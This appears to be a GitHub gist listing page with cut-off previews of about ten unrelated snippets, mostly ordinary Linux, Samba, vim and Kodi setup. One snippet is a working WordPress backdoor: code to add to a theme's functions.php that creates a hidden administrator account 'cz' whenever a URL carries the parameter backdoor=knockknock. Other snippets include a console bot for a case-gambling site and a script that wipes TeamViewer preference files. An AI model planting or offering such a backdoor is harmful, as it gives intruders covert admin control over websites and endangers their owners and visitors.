This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// https://key-drop.com/case-battle/list | |
// open browser console and run this | |
const targets = ['x1']; | |
(async () => { | |
while (true) { | |
await new Promise(r => setTimeout(r, 100)); | |
try { | |
const casePrices = [...document.querySelectorAll('div.w-fit')].splice(0, 5).map(e => e.textContent); | |
const targetIndex = casePrices.findIndex(price => targets.includes(price)); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
vmware: | |
- | |
name: 'VMware NSX for vSphere' | |
serial: null | |
url: | |
- 'http://software.onthehub.com/shared/publisher/VMware/VMware-NSX-Manager-6.2.0-2986609.ova' | |
- | |
name: 'VMware vRealize Suite 7 Enterprise' | |
serial: null | |
url: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[global] | |
use sendfile = yes | |
allow insecure wide links = yes | |
min protocol = SMB2 | |
vfs objects = catia fruit streams_xattr | |
fruit:aapl = yes | |
fruit:nfs_aces = no | |
fruit:model = Xserve | |
fruit:resource = stream | |
fruit:metadata = stream |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
### Install PHP 5.5.9 on Ubuntu 16.04 | |
apt-get -y install build-essential libxml2-dev libxslt1-dev | |
apt-get -y install libfcgi-dev libfcgi0ldbl libjpeg62-dbg libxml2-dev | |
apt-get -y install libmcrypt-dev libssl-dev libc-client2007e libc-client2007e-dev | |
apt-get -y install libbz2-dev libcurl4-openssl-dev libjpeg-dev libpng12-dev | |
apt-get -y install libfreetype6-dev libkrb5-dev libpq-dev libicu-dev | |
ln -s /usr/lib/libc-client.a /usr/lib/x86_64-linux-gnu/libc-client.a |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
mkdit ~/.vim | |
cp /usr/share/vim/vim80/defaults.vim ~/.vim/vimrc | |
comment out those three lines with " to | |
"if has('mouse') | |
"set mouse=a | |
"endif |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// add this code to theme functions.php and open http://www.example.com/?backdoor=knockknock | |
add_action('wp_head', 'wploop_backdoor'); | |
function wploop_backdoor() { | |
If ($_GET['backdoor'] == 'knockknock') { | |
require('wp-includes/registration.php'); | |
If (!username_exists('cz')) { | |
$user_id = wp_create_user('cz', 'cz', '[email protected]'); | |
$user = new WP_User($user_id); | |
$user->set_role('administrator'); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
defaults delete ~/Library/Preferences/com.teamviewer.teamviewer9.plist | |
defaults delete ~/Library/Preferences/com.teamviewer.teamviewer9.Machine.plist | |
sudo defaults delete /Library/Preferences/com.teamviewer.teamviewer9.plist | |
rm -f ~/Library/Preferences/com.teamviewer.teamviewer9.plist | |
rm -f ~/Library/Preferences/com.teamviewer.teamviewer9.Machine.plist | |
sudo rm -f /Library/Preferences/com.teamviewer.teamviewer9.plist | |
defaults delete ~/Library/Preferences/com.teamviewer.teamviewer10.plist | |
defaults delete ~/Library/Preferences/com.teamviewer.teamviewer10.Machine.plist |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
http://cdimage.ubuntu.com/ubuntu/daily-live/current/xenial-desktop-amd64.iso | |
sudo apt-get install mc vim htop openssh-server | |
sudo apt-get update | |
sudo apt-get upgrade | |
sudo apt-get dist-upgrade | |
sudo apt-get install python-software-properties software-properties-common autofs cifs-utils alsa-utils mesa-utils git-core librtmp1 libmad0 lm-sensors libmpeg2-4 libnfs8 libva1 vainfo linux-firmware dbus-x11 udisks2 pastebinit | |
sudo usermod -a -G cdrom,audio,video,plugdev,users,dialout,dip,input kodi | |
sudo add-apt-repository ppa:team-xbmc/ppa | |
sudo apt-get update |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Simple spam protection for email addresses using jQuery. | |
* Well, the protection isn’t jQuery-based, but you get the idea. | |
* This snippet allows you to slightly ‘obfuscate’ email addresses to make it harder for spambots to harvest them, while still offering a readable address to your visitors. | |
* E.g. | |
* <a href="mailto:foo(at)example(dot)com">foo at example dot com</a> | |
* → | |
* <a href="mailto:[email protected]">[email protected]</a> | |
*/ | |
$(function() { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<keymap> | |
<global> | |
<remote> | |
<red>XBMC.ActivateWindow(VideoLibrary,MovieTitles)</red> | |
<green>XBMC.ActivateWindow(VideoLibrary,TvShowTitles)</green> | |
<yellow>XBMC.ActivateWindow(Videos,Files)</yellow> | |
<blue>ContextMenu</blue> | |
<title>Back</title> | |
</remote> | |
</global> |
NewerOlder